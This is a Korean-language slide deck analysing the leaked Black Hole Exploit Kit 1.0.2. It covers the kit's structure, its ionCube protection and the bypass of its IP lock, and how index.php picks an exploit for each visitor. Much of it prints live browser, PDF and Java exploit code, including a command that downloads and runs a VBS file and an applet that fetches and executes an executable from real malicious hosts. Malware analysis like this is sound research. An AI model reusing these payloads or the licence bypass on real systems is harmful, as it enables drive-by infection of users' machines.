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개요(1/2)

2011년에 가장 널리 사용되는 Exploit Kit

가격

$1,500/Year, $1,000/Half Year, $700/Quarter

http://www.securelist.com/en/analysis/204792184/Exploit_kits_attack_vector_mid_year_update
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개요(2/2)

The Hacker News를 통해 Black Hole Exploit Kit 1.0.2
이 배포됨

http://thehackernews.com/2011/05/blackhole-exploit-kit-download.html
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디렉토리 구조(1/2)

Root : index.php(취약점 파악 및 Exploit 선택), 
config.php(설정파일), adm.php(관리자 파일)

files : 알 수 없음

games : Exploit 파일

lib : index.php 또는 adm.php등에서 사용할 라이브
러리 파일
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디렉토리 구조(2/2)

Root

templates/default or /pda : 관리자 화면 UI(추측)
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파일 구조(1/2)

PHP 파일은 ionCube로 Encoding되어 있음

그러므로 설치 및 실행을 위해서 ionCube Zend 모듈
을 설치해야 함

ioncube : http://www.ioncube.com/
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파일 구조(2/2)

ionCube 모듈이 없으면, 에러!!!
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보호 기능(1/4)

Black Hole Exploit Kit 1.0.2은 ionCube이 제공하
는 보호 기능 사용

대부분의 파일이 Encoding 되어 있음

(예외 config.php, threadData.php)

http://www.darkreading.com/advanced-threats/167901091/security/vulnerabilities/229625617/freebie-black-hole-exploit-kit-
limited-by-encoding.html
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보호 기능(2/4)

Domain Lock(IP 주소 Lock) : Black Hole Exploit Kit 
1.0.2은 이미 지정된 IP 에서만 설치 가능함
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보호 기능(3/4)

The Black Hole Exploit Kit 1.0.2는 License에 따라 
기간이 지나면 만료됨(추측)

The Black Hole Exploit Kit 제작자는 Exploit Kit을 
판매할 때, 구매자로부터 사용 기간과 설치할 IP 
주소를 요청할 것으로 예상됨
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보호 기능(4/4)

Encoding된 PHP 파일을 Decoding하더라도, 함수
의 이름은 난독화되어 있음

난독화는 풀리지 않음

http://www.opensc.ws/web-development/15785-ioncube-decoded-blackhole-exploit-pack.html
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보호 기능 우회(1/6)

Encoding된 PHP 파일

Black Hole Exploit Kit 1.0.2은 최신 ionCube(7.0)
로 Encoding되지 않은 것으로 예상됨

NWS decoder은 일부를 Decoding할 수 있음. 
현재까지 완벽하게 Decoding된 Exploit Kit을 확
인하지 못함
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보호 기능 우회(2/6)

Encoding된 PHP 파일

Decoding된 파일은 PHP 문법이 맞지 않음.

코드를 수동으로 수정해야 함
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보호 기능 우회(3/6)

Domain Lock

Decoding 후, index.php 파일(Browser 클래스)
에 compareIP 함수가 있음

함수 이름이 난독화되어 있기 때문에 정확한 의
미를 파악할 수 없음

그러나 의미를 일부 파악하거나 보호 기능을 우
회할 수 있음
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보호 기능 우회(4/6)
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보호 기능 우회(5/6)

Domain Lock

Domain Lock 기능을 우회하기 위해, ‘return 
$good;’을 ‘return true;’로 치환

‘foreach ( $threadData['IP'][1] as $ref )’에서 IP 
주소($threadData[‘IP’][1])는 $threadData(lib/
threadData.php)에 정의되어 있음
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보호 기능 우회(6/6)

난독화된 함수 이름

지금까지 이와 같은 난독화 방법을 풀기 위한 
방법을 찾지 못했음

난독화 보호 기능은 ionCube 또는 다른 보호 모
듈이 제공하는 것으로 예상됨

그러나 확인할 수 없음
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config.php 분석(1/3)

config.php config 클래스를 포함함

config 클래스는 private 배열과 3개의 public 함
수를 포함하고 있음

설정 파일 내용은 private $config private 배열에 
저장되어 있음
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config.php 분석(2/3)

$config 배열
static private $config = array(
	 /* ---config--- */
	 'Version'	 	 	 	 	 => '1.0.2', //v0nSch3lling : Black Hole Exploit Kit Version
	 'StatFileName'	 	 	 	 => 'stat', //v0nSch3lling : [Maybe]Statistics Panel File
	 'MainFileName'	 	 	 	 => 'index', //v0nSch3lling : [Maybe]File for Exploit

 'DownloadFileName'
 
 
 => 'd', //v0nSch3lling : [Maybe]Shellcode in Exploit access ‘d.php’
	 'ExploitsDir'		 	 	 => 'games', //v0nSch3lling : Exploit Directory
	 'urltosmb'	 	 	 	 	 => '195.80.151.59\\\\pub\\\\new.avi', //v0nSch3lling : SMB Exploit
	 'AjaxAutoreloadInterval'	=> '10',
	 'MaxCountriesLimit'	 	 	 => '15',
	 'MaxOSLimit'	 	 	 	 => '10',
	 'MaxExploitsLimit'	 	 	 => '999',
	 'MaxBrowsersLimit'	 	 	 => '10',
	 'MaxSecondLimit'	 	 	 => '5',
	 'MaxThreadsLimit'	 	 	 => '10',
	 'MaxReferersLimit'	 	 	 => '10',
	 'AdminPass'	 	 	 	 => '202cb962ac59075b964b07152d234b70', //v0nSch3lling : Panel 
PW 123
	 'MysqlHost'	 	 	 	 	 => 'localhost',
	 'MysqlUsername'		 	 	 => 'blackhole',
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config.php 분석(3/3)

$config 배열
 'MysqlPassword'	 	 	 	 => 'f1OqI2QP6AknVRhjNd82XexZ7CE85l', //v0nSch3lling : Not Cracked

 	 'MysqlDatabase'	 	 	 	 => 'blackhole', //v0nSch3lling : Database Name
	 'LibDir'	 	 	 	 	 => 'lib',
	 'FilesDir'	 	 	 	 	 => 'files',
	 'JSDir'	 	 	 	 	 	 => 'js', //relative to LibDir directory
	 'CSSDir'	 	 	 	 	 => 'css', //relative to LibDir directory
	 'ImgDir'	 	 	 	 	 => 'img', //relative to LibDir directory
	 'TemplatesDir'	 	 	 	 => 'templates',
	 'DefaultLanguage'	 	 	 => 'ru', //v0nSch3lling : Language
	 'DefaultTemplate'		 	 => 'default',
	 'MainParamName'	 	 	 	 => 'a',
	 'StatParamName'	 	 	 	 => 'tp',
	 'AuthVariable'	 	 	 	 => 'Auth',
	 'ShowReferers'	 	 	 	 => '0',
	 'LastMaxRefererID'	 	 	 => '0',
	 'virtestLogin'	 	 	 	 => '0:::',
	 'virtestPass'	 	 	 	 => '',
	 /* ---config--- */
);
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index.php 분석
개요

index.php는 방문자의 환경을 분석하고 적절한 
Exploit을 선택

로그 : IP 주소, 국가

Exploit 환경 : 운영체제, 웹 브라우저, Adobe 
Acrobat Reader, Java, Windows Media Player
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index.php 분석
구조

class Browser

MySQL Connection

CompareIP

Write LOG

$selectedExploits(from 0 to 6)
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index.php 분석
$selectedExploit =? 0 : IE < 7.0

function xkg : createObject

function gr : ADODB.Stream Object

function ewvf : CVE-2006-0003 Exploit

if ( _obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwE⎟( "0", $selectedExploits ) && $Client['name'] == "msie" 
&& _obfuscate_DSofATspGzcnOSYuORwTGCgMwQBhE⎟( $Client['version'], "7.0", "<" ) )
{

 $exploitsContent .= "\r\nfunction xkg(nsu,js){...}\r\nfunction gr(sgw){...}\r\nfunction ewvf(){...}";
}
else
{
	 $exploitsContent .= "function ewvf(){zazo();};";
}
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index.php 분석
$selectedExploit =? 0 : IE < 7.0

//v0nSch3lling
//CVE-2006-0003
//BD96C556-65A3-11D0-983A-00C04FC29E30 - RDS.DataControl (ms06-014; cve-2006-0003)
//BD96C556-65A3-11D0-983A-00C04FC29E36 - RDS.DataSpace (ms06-014; cve-2006-0003)
//AB9BCEDD-EC7E-47E1-9322-D4A210617116 - Business.Object.Factory
//0006F033-0000-0000-C000-000000000046 - Outlook.Data.Object
//0006F03A-0000-0000-C000-000000000046 - Outlook.Application
//6e32070a-766d-4ee6-879c-dc1fa91d2fc3 - SoftwareDistribution.MicrosoftUpdateWebControl.1
//6414512B-B978-451D-A0D8-FCFDF33E833C - SoftwareDistribution.WebControl.1
//7F5B7F63-F06F-4331-8A26-339E03C0AE3D - WMIScriptUtils.WMIObjectBroker2.1 (ms06-073; cve-2006-4704)
//06723E09-F4C2-43c8-8358-09FCD1DB0766 - VsmIDE.DTE
//639F725F-1B2D-4831-A9FD-874847682010 - DExplore.AppObj.8.0
//BA018599-1DB3-44f9-83B4-461454C84BF8 - VisualStudio.DTE.8.0
//D0C07D56-7C69-43F1-B4A0-25F5A11FAB19 - Microsoft.DbgClr.DTE.8.0
//E8CCCDDF-CA28-496b-B050-6C07C962476B - VsaIDE.DTE
var lhqh = new Array('BD96C556-65A3-11D0-983A-00C04FC29E36', 'BD96C556-65A3-11D0-983A-00C04FC29E30', 
'AB9BCEDD-EC7E-47E1-9322-D4A210617116', '0006F033-0000-0000-C000-000000000046', '0006F03A-0000-0000-
C000-000000000046', '6e32070a-766d-4ee6-879c-dc1fa91d2fc3', '6414512B-B978-451D-A0D8-FCFDF33E833C', 
'7F5B7F63-F06F-4331-8A26-339E03C0AE3D', '06723E09-F4C2-43c8-8358-09FCD1DB0766', '639F725F-1B2D-4831-
A9FD-874847682010', 'BA018599-1DB3-44f9-83B4-461454C84BF8', 'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19', 
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index.php 분석
$selectedExploit =? 0 : IE < 7.0

related files : mxmt.exe(=?03b51a3344.exe)

http://www.auscert.org.au/render.html?it=13759
http://anubis.iseclab.org/?action=result&task_id=1c1d0f0a207f03234b1fdebdd3d3f2827&format=html

[MD5]7e186ad404f718e02585d82c0436e200
[FILE]C:\Documents and Settings\Administrator\Application Data\Effu\wyito.udo
[FILE]C:\Documents and Settings\Administrator\Application Data\Pylye\nihe.exe
[THREAD]C:\WINDOWS\explorer.exe

[WRITE]nihe.exe wrote to the virtual memory of this process 
[THREAD]C:\WINDOWS\system32\ctfmon.exe

[WRITE]nihe.exe wrote to the virtual memory of this process 
[THREAD]C:\WINDOWS\system32\wscntfy.exe

[WRITE]nihe.exe wrote to the virtual memory of this process
[NETWORK]DNS : www.google.com
[NETWORK]66.102.7.99:80 - [www.google.com] GET /webhp
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index.php 분석
$selectedExploit =? 0 : IE < 7.0

예제(from jsunpack)

http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae71bd3c8
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index.php 분석
$selectedExploit =? 0 : IE < 7.0
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index.php 분석
$selectedExploit =? 1

function zazo : CVE-2009-1671 Exploit

//v0nSch3lling
//Maybe $selectedExploits == 1
if ( _obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwE⎟( "1", $selectedExploits ) )
{
	 $exploitsContent .= "function zazo(){try{var cg=\"http: -J-jar -J\\\\\\\\".( "urltosmb" )."  ".$urltoexe."1 none\";if
(window.navigator.appName=='Microsoft Internet Explorer'){try{var uiu=document.createElement
('OBJECT');uiu.classid='clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA';uiu.launch(cg);}catch(e){var 
ghtb=document.createElement('OBJECT');ghtb.classid='clsid:8AD9C840-044E-11D1-
B3E9-00805F499D93';ghtb.launch(cg);}}else{var uiu=document.createElement('OBJECT');var 
ze=document.createElement('OBJECT');uiu.type='application/npruntime-scriptable-
plugin;deploymenttoolkit';ze.type='application/java-deployment-toolkit';document.body.appendChild
(uiu);document.body.appendChild(ze);try{uiu.launch(cg);}catch(e){ze.launch(cg);}}}catch(e){};ai();};";
}
else
{ $exploitsContent .= "function zazo(){ai();}"
}
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index.php 분석
$selectedExploit =? 1

function zazo : CVE-2009-1671 Exploit

//v0nSch3lling
//Maybe $selectedExploits == 1
if ( _obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwE⎟( "1", $selectedExploits ) )
{
	 $exploitsContent .= "function zazo(){try{var cg=\"http: -J-jar -J\\\\\\\\".( "urltosmb" )."  ".$urltoexe."1 none\";if
(window.navigator.appName=='Microsoft Internet Explorer'){try{var uiu=document.createElement
('OBJECT');uiu.classid='clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA';uiu.launch(cg);}catch(e){var 
ghtb=document.createElement('OBJECT');ghtb.classid='clsid:8AD9C840-044E-11D1-
B3E9-00805F499D93';ghtb.launch(cg);}}else{var uiu=document.createElement('OBJECT');var 
ze=document.createElement('OBJECT');uiu.type='application/npruntime-scriptable-
plugin;deploymenttoolkit';ze.type='application/java-deployment-toolkit';document.body.appendChild
(uiu);document.body.appendChild(ze);try{uiu.launch(cg);}catch(e){ze.launch(cg);}}}catch(e){};ai();};";
}
else
{ $exploitsContent .= "function zazo(){ai();}"
}
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index.php 분석
$selectedExploit =? 1

예제(from jsunpack)

211.117.161.129, 91.217.162.91

http://jsunpack.jeek.org/dec/go?report=c1d14f804b8dc83f5c3cc30822afa31f25283bf0
http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14b6e7324cf8bf6f
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index.php 분석
$selectedExploit =? 1

예제(from jsunpack)
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index.php 분석
$selectedExploit =? 2

function ai : CVE-2006-6134 Exploit

IE>7.0

Micrsoft Windows Media Player < 10.0
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index.php 분석
$selectedExploit =? 2

$exploitsContent .= "function ai(){";

//v0nSch3lling
//IE Version > 7.0
if ( $Client['name'] == "msie" && _obfuscate_DSofATspGzcnOSYuORwTGCgMwQBhE⎟( $Client['version'], 
"7.0", ">" ) )
{

  //v0nSch3lling
  //6BF52A52-394A-11d3-B153-00C04F79FAA6 : Microsoft Windows Media Player


 $exploitsContent .= "try {var o = document.createElement(\"OBJECT\");o.setAttribute(\"classid\", 
\"clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6\");o.setAttribute(\"uiMode\", \"invisible\");if(parseInt
(o.versionInfo)<10){o.openPlayer('http://".$_SERVER
['SERVER_NAME']._obfuscate_DT4jHi0IIi8MLgYnAipbPyw9IR0UAQE⎟
( _obfuscate_DTIfMBg4CRsICzYhDiI4LAEJLQcDLiI⎟( __FILE__ ), "", $_SERVER['PHP_SELF'] ).( "ExploitsDir" )."/
hcp_asx.php?f=".$file."');}
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index.php 분석
$selectedExploit =? 2

관련 파일 : hcp_asx.php

hcp_asx.php를 통해 Windows Media Player

http://stopmalvertising.com/malvertisements/zidducom-still-infested-with-malware.html
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index.php 분석
$selectedExploit =? 2

function ai

CVE-2010-1885 Exploit, 7.0<IE<8.0

Exploit은 실행 할 때, fromCharCode에 의해 
Decoding된다.

두 개의 Exploit이 있음(IE>7.0 and IE<8.0)
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index.php 분석
$selectedExploit =? 2

else{var bh=\"hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%...
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<scr
\"+\"ipt defer>eval(Run(String.fromCharCode
(99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,
101,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,1
12,101,110,32,34,71,69,84,34,44,34,"$hcpvbs_url."34,44,102,97,108,115,101,58,46,115,101,110,100,40,41
,58,83,101,116,32,65,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116
,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,83,101,116,32,6
8,61,65,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,65,46,71,101,116,83,112,101,99,10
5,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,10
1,76,105,110,101,32,46,114,101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,1
04,58,68,46,67,108,111,115,101,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,
112,116,46,83,104,101,108,108,34,41,46,82,117,110,32,65,46,71,101,116,83,112,101,99,105,97,108,70,1
11,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,32,62,32,37,84,69,77,80,37,92,92,108,46,118
,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,
108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101)));</scr\"+\"ipt>\";var m = 
document.createElement('iframe');m.setAttribute('src', bh);m.setAttribute('width', 0);m.setAttribute('height', 
0);m.setAttribute('frameborder', '0');document.body.appendChild(m);}

//v0nSch3lling
//Maybe $selectedExploits == 2
if ( _obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwE⎟( "2", $selectedExploits ) )
{

 $string_hcpvbs = _obfuscate_DTgBKzUtEj1cHTIdNA4nMxImNAlbLTI⎟( "http://".$_SERVER
['SERVER_NAME']._obfuscate_DT4jHi0IIi8MLgYnAipbPyw9IR0UAQE⎟( ( "MainFileName" ).".php", 
( "ExploitsDir" )."/hcp_vbs.php?f=".$file, $_SERVER['PHP_SELF'] ) );

  $i = 0;
  $hcpvbs_url = "";
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99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,1
01,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,11
2,101,110,32,34,71,69,84,34,44,34 = cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP"):.open 
"GET","

34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,65,32,61,32,67,114,101,97,116,
101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,1
01,109,79,98,106,101,99,116,34,41,58,83,101,116,32,68,61,65,46,67,114,101,97,116,101,84,101,120,116,
70,105,108,101,40,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,3
2,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,1
15,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,68,46,67,108,111,115,101,58,67,114,101,97,
116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,46,82,117,1
10,32,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32
,43,32,66,32,62,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,4
6,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,1
16,114,46,101,120,101 = ",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set 
D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End With:D.Close:CreateObject
("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > %TEMP%\\l.vbs && %TEMP%\\l.vbs && taskkill /F /IM 
helpctr.exe

cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET",".$hcpvbs_url. ",false:.send():Set 
A = CreateObject("Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + 
B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" 
+ B > %TEMP%\\l.vbs && %TEMP%\\l.vbs && taskkill /F /IM helpctr.exe
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function ai

$hcpvbs_url로부터 l.vbs를 다운받고 실행

$hcpvbs_url는 난독화되어 있음
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관련 파일 : l.vbs(from $hcpvbs_url)

$hcpvbs_url = http://new.hamhop.org/d.php?
e7&f=10
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관련 파일 : l.vbs(from $hcpvbs_url)

l.vbs는 “Rougeware”를 다운받음

http://www.virustotal.com/file-scan/report.html?
id=bc64254e479062232dcf71a4a22e4bc4f7f8fca2bf26e21e86e3330fcece42ba-1311545930
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$selectedExploit =? 2

예제(from jsunpack)

200.63.46.90

http://jsunpack.jeek.org/dec/go?report=789fa11bdf3bfbce20b8ae3019b9df71ad6c1c1d
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예제(from jsunpack)

91.217.162.19

http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14b6e7324cf8bf6f
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function dsfgsdfh

pdf.php, Adobe Acrobat < 800

pdf2.php, 800 <= Adobe Acrobat < 931

if (sv<800){addp('./".( "ExploitsDir" )."/pdf.php?f=".$file."');} else if ((sv>=800) && (sv<931)){addp('./".
( "ExploitsDir" )."/pdf2.php?f=".$file."');}
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function dsfgsdfh

함수의 일부분은 난독화 또는 암호화 또는 
Encoding되어 있음

“_obfuscate_DQ01JSkGKw0cPiY_LjcmEwUD
Lwo4MQE⎟” 때문에 함수를 정확하기 이해할 
수 없음
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function dsfgsdfh
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function dsfgsdfh

jsunpack를 통해 난독화되지 않은 Javascript
를 얻을 수 있음

jsunpack은 Javascript를 실행하기 때문에 원
본 Javascript를 얻을 수 있음
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function dsfgsdfh
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pdf.php

sc.php가 Decoding되지 않았기 때문에 $sc를 
알 수 없음

pdf.php는 여러 Exploit을 포함하고 있음
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pdf.php:$pdf_script 변수

function ezvr()

function bx() : CVE-2007-5659

function printf() : CVE-2008-2992

function geticon() : CVE-2009-0927

the other : CVE-2009-3424

PDF Generator
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pdf.php

jsunpack으로부터 $selectedExploit =? 2에 해
당하는 $sc를 얻을 수 있음
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pdf.php : PDF exploit 파일

$pdf_template = "%PDF-1.3\r\n2 0 obj\r\n<<\r\n>>\r\nendobj\r\n3 0 obj\r\n<<\r\n/Producer ({$pdf_script})\r
\n/CreationDate (D:2011725103251)\r\n>>\r\nendobj\r\n1 0 obj\r\n<<\r\n/Pages 2 0 R\r\n/Names <</
JavaScript <</Names [() <</S /JavaScript\r\n/JS (".$pdf_script2.")\r\n>>]\r\n>>\r\n>>\r\n>>\r\nendobj\r\nxref\r
\ntrailer\r\n<<\r\n/Root 1 0 R\r\n/Info 3 0 R\r\n>>\r\nstartxref\r\n698\r\n%%EOF";

$pdf_script2 = ( "\r\nvar <*n2>='';\r\n<*date> = new Date(2010,11,3,2);\r\nvar <*e> = function(){return {e:eval}}
().e;\r\n<*s> = 'thi'+<*date>.getHours()+'ducer';\r\n<*pr>=<*e>(<*s>.replace(2,'s.pro'));\r\nar = <*pr>.split('q');
\r\nvar s = '';\r\nw = <*date>.getHours();\r\nvar <*qq> = 'fro'+<*date>.getHours()+'arCode';\r
\n<*qq>=<*qq>.replace(2,'mCh');\r\n<*ss>=String[<*qq>];\r\nfor (i = 0; i < ar.length; i++) {\r\n\t<*q> = <*e>(ar
[i]);\r\n\ts += <*ss>(<*q>);\r\n}\r\n<*e>(s);\r\n" );
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pdf.php : 관련 파일

http://jsunpack.jeek.org/dec/go?report=3c36b6a024f53fbeb31dd1d9a9345ab7506ccf1f
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pdf2.php

LibTiff 취약점 : CVE-2010-0188

구조

class JavaScript

class JS

LibTiff Exploit
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pdf2.php
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관련 파일(pdf2.php)

http://jsunpack.jeek.org/dec/go?report=57c2e3aa0c099c317616be0092d00f81dc5e3035
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예제(from jsunpack)

195.80.151.66

http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419
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예제(from jsunpack)

195.80.151.91

http://jsunpack.jeek.org/dec/getfile?hash=d415/ddec8d12ecb9cfeac0e445104bf7548d50b9
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예제(from jsunpack)

http://jsunpack.jeek.org/dec/go?report=adc1016ee0e23e53ba867e9d3ba16c741f26c509
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function asgsaf : CVE-2010-0806

IE <= 7.0, Not Windows 7

if ( _obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwE⎟( "5", $selectedExploits ) && $Client['name'] == 
"msie" && _obfuscate_DSofATspGzcnOSYuORwTGCgMwQBhE⎟( $Client['version'], "7.0", "<=" ) && $Client
['os'] != "Windows 7" )
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function asgsaf

_obfuscate_DQ4qOQcmMhEKPSUVOQERFA
MiEAkaKTI⎟ 때문에 $sc를 알 수 없음
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function asgsaf

jsunpack으로부터 $selectedExploit =? 2, 3, 4
에 대응하는 $sc 변수를 얻을 수 있음
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예제(from jsunpack)

195.80.151.93

http://jsunpack.jeek.org/dec/go?report=a05d2ccd2f7120597d75bdcf77ba8c8f5df623e4
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function end_redirect : CVE-2010-0840, 
CVE-2010-0842

javaobe.jar(./games/javaobe.jar)을 통해, Java 
취약점을 Exploit

peers 클래스가(javaobe.jar) 사용하는 
dskvnds를 이해할 수 없음
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javaobe.jar : URL로부터 다운로드 받음(str1 = 
dskvnd 변수 값)

//v0nSch3lling
//str = value of dskvnds
URL lllo = new URL(srtr1);
int pizdeeeetc = 10;
boolean bbb = true;
String is = "s;f";

lllo.openConnection();
int oaznc = 10;
boolean ii = false;
String b10487 = "ee";

InputStream LsIS = lllo.openStream();

String dcasm = "dsfvnefj";
boolean ascmsa = true;

//v0nSch3lling
//Create [Temp Dir]/[RAND].exe
FileOutputStream ofo = new 
FileOutputStream(srtr9 + srtr8);
byte[] asw = new byte[1024];
int i;
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javaobe.jar

javaobe.jar는 dskvnds 변수 값을 받아서 
editor.b method나 난독화를 풀어줌

jsunpack으로부터 dskvnds를 얻을 수 있음
public class peers extends Applet
{
	 public void start()
	 {
	 	 super.start();
	 	 try
	 	 {
	 	 	 String srtr1 = editor.b(getParameter

<param name='dskvnds' value='DVV3TjjNFVqcNZcNNjdc3D3EtKU%zK1'/>
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public static String b(String ps)
{
	 String s = ps; // v0nSch3lling : ps = dskvnds = DVV3TjjNFVqcNZcNNjdc3D3EtKU%zK1
	 String str = "";
	 String s1 = "uqU8/A".concat("1O-e=FN".concat("dztfDPLnp".concat("G5h3IalV.2".concat("yw?ZR".concat
("Y60X:kir".concat("JMB79".concat("bxSQC_".concat("Wvsmg#jc".concat("T4HE%K&o")))))))));
	 String s2 = "01234".concat("56789abcd".concat("efghijk".concat("lmnopqrs".concat("tuvwxyz".concat
("ABCDEFG".concat("HIJKLMN".concat("OPQRSTUV".concat("WXYZ/.:_".concat("-?&=%#")))))))));
	 for (int i = 0; i < s.length(); i++)
	 {
	 	 String s9 = s.substring(i, i + 1);
	 	 int j = s1.indexOf(s9);
	 	 if (j <= -1)
	 	 	 continue;
	 	 str = str + s2.substring(j, j + 1);
	 }
	
	 return str; //v0nSch3lling : str = http://cbt1.cz.cc/d.php?f=2&e=6
}
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$selectedExploit =? 6

관련 파일 : ???

javaobe.jar는 http://cbt1.cz.cc/d.php?
f=2&e=6로부터 파일을 받고 실행

그러나, Link가 깨져있음. 그리고 구글링을 통
해 Link에 대한 정보를 얻을 수 없었음
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예제(from jsunpack)

tmi2.co.cc

http://jsunpack.jeek.org/dec/go?report=5c5060414e473a080000aa6bfdf8e13cba816135
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예제(from jsunpack)

195.80.151.91

http://jsunpack.jeek.org/dec/go?report=8ccc8889423ff3a906aebf617a303c97d2d6e5a3
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index.php 분석
JavaScript 함수 호출

ewvf() end_redirect()

xkg()
gr()

sfghhh()

$selectedExploit
=? 0

$selectedExploit
=? 1

$selectedExploit
=? 2

$selectedExploit
=? 3 or 4

$selectedExploit
=? 5

$selectedExploit
=? 6

=?: We did not understand “_obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwEÿ( "0", $selectedExploits). So we just guess 
that $selectedExploit == 0 or $threadData[“Threads”][0][Rules][0][ExploitSplit][0] or $threadData[“Threads”][0][Rules][0][ExploitSplit]
[4])

CVE-2006-0003
ver(IE) < 7.0

CVE-2009-1671
CVE-2010-0886

CVE-2006-6134
CVE-2010-1885

ver(IE) > 7.0
ver(IE) < 8.0

CVE-2010-0806(?)
ver(IE) <= 7.0

Not Windows 7

CVE-2007-5659
CVE-2008-2992
CVE-2009-0927
CVE-2009-4324
CVE-2010-0188

CVE-2010-0840(?)
CVE-2010-0842(?)

asgasf()dsfgsdfh()ai()zazo()
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결론(1/2)

우리는 Black Hole Exploit Kit 1.0.2을 분석 했음

Black Hole Exploit Kit 1.0.2는 여러 Exploit을 포
함하고 있으며 많은 웹 사이트가 Black Hole 
Exploit Kit을 포함하고 있음

다른 Exploit Kit 역시 유사한 구조를 포함하고 
있음

CVE 리스트는 분석 결과 마다 조금씩 상이함
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결론(2/2)

몇몇 업체들과 분석 시스템의 분석 결과를 사용하
여 분석

대부분의 실제 Link가 깨져있기 때문에, 직접적
으로 분석할 수 없음
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